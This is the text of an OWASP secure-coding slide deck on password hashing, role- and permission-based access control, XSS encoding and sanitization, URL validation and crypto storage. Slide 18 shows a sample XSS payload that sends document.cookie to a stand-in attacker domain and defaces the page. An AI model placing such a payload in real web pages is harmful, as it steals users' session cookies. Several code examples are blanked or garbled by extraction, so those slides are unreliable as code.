Slide 1

Slide 1 text

Password  Storage,  XSS  Defense   and  Access  Control  Design  

Slide 2

Slide 2 text

Jim Manico @manicode OWASP  Volunteer   -  Global  OWASP  Board  Member   -  OWASP  Cheat-­‐Sheet  Series,  Top  Ten   Proac=ve  Controls,  OWASP  Java   Encoder  and  HTML  Sani=zer  Project   Manager  and  Contributor   Secure-­‐Coding  Instructor/Author   -  18  years  of  web-­‐based,  database-­‐ driven  soLware  development  and   analysis  experience   -  Author  of  "Iron  Clad  Java,  Building   Secure  Web  Applica=ons"  with  Oracle   Press  and  McGraw  Hill  (Sept  2014)   Kama'aina  Resident  of  Kauai,  Hawaii   -  Aloha!  

Slide 3

Slide 3 text

Authen9ca9on  and  Iden9ty  

Slide 4

Slide 4 text

Password  Storage  Defense  Overview   •  Offline  A?acks   –  Avoid  Hashing  or  Encryp9on     –  Use  proper  key  deriva9on   func9ons  and  stretching   configura9ons   –  Use  random  and  unique  per-­‐ user  salts   •  Less  effec9ve  against   targeted  a?acks,  but  use   them  anyhow   –  Strict  Password  Policy   •  Online  A?acks   –  Ban  top  X  commonly  used   passwords   –  Rate  limi9ng   –  Mul9-­‐factor  authen9ca9on   –  Behavior  Analysis   •  Trojan  Combat   –  An9-­‐Phishing   •  Early  detec9on  and   takedown   –  Good  network  security   reference: Openwall and http://www.openwall.com/presentations

Slide 5

Slide 5 text

No content

Slide 6

Slide 6 text

1)  Do not limit the type of characters or length of user password within reason •  Limiting passwords to protect against injection is doomed to failure •  Use proper encoder and other defenses described instead •  Be wary of systems that allow unlimited password sizes (Django DOS Sept 2013) Password  Storage  in  the  Real  World  

Slide 7

Slide 7 text

2) Use a cryptographically strong credential-specific salt •  protect( [salt] + [password] ); •  Use a 32char or 64char salt (actual size dependent on protection function); •  Do not depend on hiding, splitting, or otherwise obscuring the salt Password  Storage  in  the  Real  World  

Slide 8

Slide 8 text

3a) Impose difficult verification on the attacker and defender •  PBKDF2([salt] + [password], c=10,000,000); •  Use PBKDF2 when FIPS certification or enterprise support on many platforms is required •  Use Scrypt where resisting any/all hardware accelerated attacks is necessary but enterprise support and scale is not. (bcrypt is also a reasonable choice) Password  Storage  in  the  Real  World  

Slide 9

Slide 9 text

Java  7  PBKDF2   byte[] pbkdf2(final char[] password, final byte[] salt, final int iterationCount, final int keyLength) { try { return SecretKeyFactory.getInstance("PBKDF2WithHmacSHA1") .generateSecret( new PBEKeySpec(password, salt, iterationCount, keyLength) ).getEncoded(); } catch (NoSuchAlgorithmException | InvalidKeySpecException e) { throw new RuntimeException(e); } } keyLength: 2048 iterationCount: 128,000 (2014)

Slide 10

Slide 10 text

Password1!  

Slide 11

Slide 11 text

Mul9  Factor  Authen9ca9on   Google, Facebook, PayPal, Apple, AWS, Dropbox, Twitter Blizzard's Battle.Net, Valve's Steam, Yahoo

Slide 12

Slide 12 text

Access  Control  

Slide 13

Slide 13 text

Most Coders Hard-Code Roles in Code if  (  user.isRole(  "JEDI"  )  ||            user.isRole(  "PADWAN"  )  ||              user.isRole(  "SITH_LORD"  )  ||              user.isRole(  "JEDI_KILLING_CYBORG"  )     )  {    log.info("You  may  use  a  lightsaber  ring.    Use  it  wisely.");   }  else  {    log.info("Lightsaber  rings  are  for  schwartz  masters.");   }  

Slide 14

Slide 14 text

Solving Real World Access Control Problems with the Apache Shiro The  Problem   Web  Applica9on  needs  secure  access  control  mechanism   The  Solu9on   if  (  currentUser.isPermitted(  "lightsaber:wield"  )  )  {          log.info("You  may  use  a  lightsaber  ring.    Use  it  wisely.");   }  else  {          log.info("Sorry,  lightsaber  rings  are  for  schwartz  masters  only.");   }  

Slide 15

Slide 15 text

Solving Real World Access Control Problems with the Apache Shiro The  Problem   Web  Applica9on  needs  to  secure  access  to  a  specific  object   The  Solu9on   int  winnebagoId  =  request.getInt("winnebago_id");     if  (  currentUser.isPermitted(  "winnebago:drive:"  +  winnebagoId)  )  {          log.info("You  are  permitted  to  'drive'  the  'winnebago’.  Here  are  the  keys.");   }  else  {          log.info("Sorry,  you  aren't  allowed  to  drive  this  winnebago!");   }  

Slide 16

Slide 16 text

Encoding  

Slide 17

Slide 17 text

Spring  Solu9on  to  Stop  XSS?  

Slide 18

Slide 18 text

var badURL='https://evileviljim.com/ somesite/data=' + document.cookie; var img = new Image(); img.src = badURL; document.body.innerHTML=‘<blink >CYBER IS COOL</blink>’; Anatomy  of  a  XSS  A?ack  

Slide 19

Slide 19 text

Contextual  Output  Encoding   (XSS  Defense)   – Session Hijacking – Site Defacement – Network Scanning – Undermining CSRF Defenses – Site Redirection/Phishing – Load of Remotely Hosted Scripts – Data Theft – Keystroke Logging – Attackers using XSS more frequently

Slide 20

Slide 20 text

XSS  Defense  by  Data  Type  and  Context   Data  Type   Context   Defense   String   HTML  Body   HTML  EnKty  Encode   String   HTML  ALribute   Minimal  ALribute  Encoding   String   GET  Parameter   URL  Encoding   String   Untrusted  URL   URL  ValidaKon,  avoid  javascript:  URLs,   ALribute  encoding,  safe  URL  verificaKon   String   CSS   Strict  structural  validaKon,  CSS  Hex   encoding,  good  design   HTML   HTML  Body   HTML  ValidaKon  (JSoup,  AnKSamy,  HTML   SaniKzer)   Any   DOM   DOM  XSS  Cheat  Sheet   Untrusted  JavaScript   Any   Sandboxing   JSON   Client  Parse  Time   JSON.parse()  or  json2.js   Safe HTML Attributes include: align, alink, alt, bgcolor, border, cellpadding, cellspacing, class, color, cols, colspan, coords, dir, face, height, hspace, ismap, lang, marginheight, marginwidth, multiple, nohref, noresize, noshade, nowrap, ref, rel, rev, rows, rowspan, scrolling, shape, span, summary, tabindex, title, usemap, valign, value, vlink, vspace, width

Slide 21

Slide 21 text

<

Slide 22

Slide 22 text

<

Slide 23

Slide 23 text

OWASP Java Encoder Project https://www.owasp.org/index.php/OWASP_Java_Encoder_Project •  No third party libraries or configuration necessary •  This code was designed for high-availability/high- performance encoding functionality •  Simple drop-in encoding functionality •  Redesigned for performance •  More complete API (uri and uri component encoding, etc) in some regards. •  Java 1.5+ •  Last updated February 14, 2013 (version 1.1)

Slide 24

Slide 24 text

OWASP Java Encoder Project https://www.owasp.org/index.php/OWASP_Java_Encoder_Project HTML Contexts Encode#forHtmlContent(String) Encode#forHtmlAttribute(String) Encode#forHtmlUnquotedAttribute (String) XML Contexts Encode#forXml(String) Encode#forXmlContent(String) Encode#forXmlAttribute(String) Encode#forXmlComment(String) Encode#forCDATA(String) CSS Contexts Encode#forCssString(String) Encode#forCssUrl(String) JavaScript Contexts Encode#forJavaScript(String) Encode#forJavaScriptAttribute(String) Encode#forJavaScriptBlock(String) Encode#forJavaScriptSource(String) URI/URL contexts Encode#forUri(String) Encode#forUriComponent(String)

Slide 25

Slide 25 text

HTML  Body  Escaping  Examples   OWASP  Java  Encoder     <%= Encode.forHtml(UNTRUSTED)%>

Title:<%= Encode.forHtml(UNTRUSTED)%>

<%= Encode.forHtmlContent(UNTRUSTED) %>

Slide 26

Slide 26 text

HTML  A?ribute  Escaping  Examples   OWASP  Java  Encoder     />  

Slide 27

Slide 27 text

URL  Parameter  Escaping  Examples   OWASP  Java  Encoder   <%-- Encode URL parameter values --%> <%-- Encode REST URL parameters --%> >

Slide 28

Slide 28 text

Handling Untrusted URL’s 1)  First  validate  to  ensure  the  string  is  a  valid  URL   2)  Avoid  Javascript:  URL’s   3)  Only  allow  HTTP  or  HTTPS  only   4)  Check  the  URL  for  malware  inbound  and  outbound   5)  Encode  URL  in  the  right  context  of  display   UNTRUSTED URL

Slide 29

Slide 29 text

public static String validateURL(String rawURI, boolean absoluteURLonly) throws ValidationException { // throws URISyntaxException if invalid URI URI uri = new URI(rawURI); // don't allow relative urls WHY? if (absoluteURLonly) { if (!uri.isAbsolute()) throw new ValidationException("not an absolute uri"); } // don't allows javascript urls, etc... if (!"http".equals(uri.getScheme()) && !"https".equals(uri.getScheme())) throw new ValidationException("we only support http(s) urls"; // who legitimately uses user-infos in their urls?!? if (uri.getUserInfo() != null) throw new ValidationException("this can only be trouble"); // normalize to get rid of '.' and '..' path components uri = uri.normalize(); // get rid of '.' and '..' // check: uri.getHost() against whitelist/blacklist? // check: uri.getPort() for shenanigans? return uri.toASCIIString(); } Validating Untrusted URL’s

Slide 30

Slide 30 text

Escaping  when  managing  URL’s   Assuming  the  untrusted  URL  has  been  properly  validated....     OWASP  Java  Encoder     Encode.forHtmlContext(untrustedURL)  

Slide 31

Slide 31 text

Advanced  XSS  Defense  With  No  Encoding!   1)  Deliver  main  HTML5  document  with  sta%c/safe  data  only  in  the  HTML     2)  Embed  JSON  on  the  page   <%= Encoder.encodeForHTML(data.to_json) %>   3)  Decode  and  Parse  JSON     var dataElement = document.getElementById('init_data'); var jsonText = dataElement.textContent || dataElement.innerText var initData = JSON.parse(html_unescape(jsonText));   4)  Parse  JSON  and  populate  the  staKc  HTML  with  safe  JavaScript  API's   a)  JS:  .innerText .val b)  JQuery:  .text .val

Slide 32

Slide 32 text

Valida9on  

Slide 33

Slide 33 text

No content

Slide 34

Slide 34 text

OWASP OWASP HTML Sanitizer Project https://www.owasp.org/index.php/OWASP_Java_HTML_Sanitizer_Project •  HTML Sanitizer written in Java which lets you include HTML authored by third-parties in your web application while protecting against XSS. •  This code was written with security best practices in mind, has an extensive test suite, and has undergone adversarial security review https://code.google.com/p/owasp-java-html-sanitizer/wiki/ AttackReviewGroundRules. •  Very easy to use. •  It allows for simple programmatic POSITIVE policy configuration. No XML config. •  Actively maintained by Mike Samuel from Google's AppSec team! •  This is code from the Caja project that was donated by Google. It is rather high performance and low memory utilization.

Slide 35

Slide 35 text

Solving Real World Problems with the OWASP HTML Sanitizer Project The  Problem   Web  Page  is  vulnerable  to  XSS  because  of  untrusted  HTML   The  Solu9on   PolicyFactory  policy  =  new  HtmlPolicyBuilder()          .allowElements("a")          .allowUrlProtocols("https")          .allowAttributes("href").onElements("a")          .requireRelNofollowOnLinks()          .build();   String  safeHTML  =  policy.sanitize(untrustedHTML);  

Slide 36

Slide 36 text

Crypto  Storage  

Slide 37

Slide 37 text

No content

Slide 38

Slide 38 text

Solving Real World Crypto Storage Problems With Google KeyCzar The  Problem   Web  Applica9on  needs  to  encrypt  and  decrypt  sensi9ve  data   The  Solu9on   Crypter  crypter  =  new  Crypter("/path/to/your/keys");   String  ciphertext  =  crypter.encrypt("Secret  message");   String  plaintext  =  crypter.decrypt(ciphertext);   Keyczar is an open source cryptographic toolkit for Java Designed to make it easier and safer for developers to use cryptography in their applications. •  A simple API •  Key rotation and versioning •  Safe default algorithms, modes, and key lengths •  Automated generation of initialization vectors and ciphertext signatures •  Java implementation •  Inferior Python and C++ support because Java is way cooler

Slide 39

Slide 39 text

@manicode   [email protected]       h?p://slideshare.net/jimmanico               THANK  YOU!